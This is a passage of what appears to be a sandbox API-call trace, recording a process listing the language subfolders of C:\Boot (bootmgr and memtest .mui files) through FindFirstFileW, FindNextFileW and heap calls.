	[0167.921] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.921] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.921] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.921] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.921] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.921] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0167.921] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.921] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.921] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.922] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.922] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.922] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.922] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.922] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.922] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0167.922] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.922] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.922] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.922] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.922] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.923] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.923] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.923] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.923] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0167.923] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.923] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.923] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.923] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.923] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0167.923] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.923] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.923] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0167.924] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.924] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.924] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.924] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.924] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0167.924] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.924] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.924] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0167.924] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0167.924] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.924] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.924] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.925] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.925] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.925] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.925] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.925] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.925] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0167.925] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.925] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.925] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.925] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.925] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.926] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.926] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.926] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.926] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0167.926] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.926] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.926] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.926] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.926] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
